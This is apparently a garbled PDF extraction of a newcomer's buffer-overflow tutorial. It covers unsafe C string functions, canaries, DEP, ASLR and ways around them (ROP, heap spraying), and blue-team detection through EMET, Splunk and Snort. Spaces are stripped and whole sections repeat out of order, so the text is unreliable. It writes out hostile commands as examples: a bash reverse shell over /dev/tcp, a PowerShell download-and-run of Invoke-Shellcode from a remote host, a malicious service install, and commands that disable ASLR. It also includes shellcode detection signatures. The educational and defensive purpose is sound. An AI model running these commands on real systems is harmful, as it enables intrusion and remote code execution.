need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

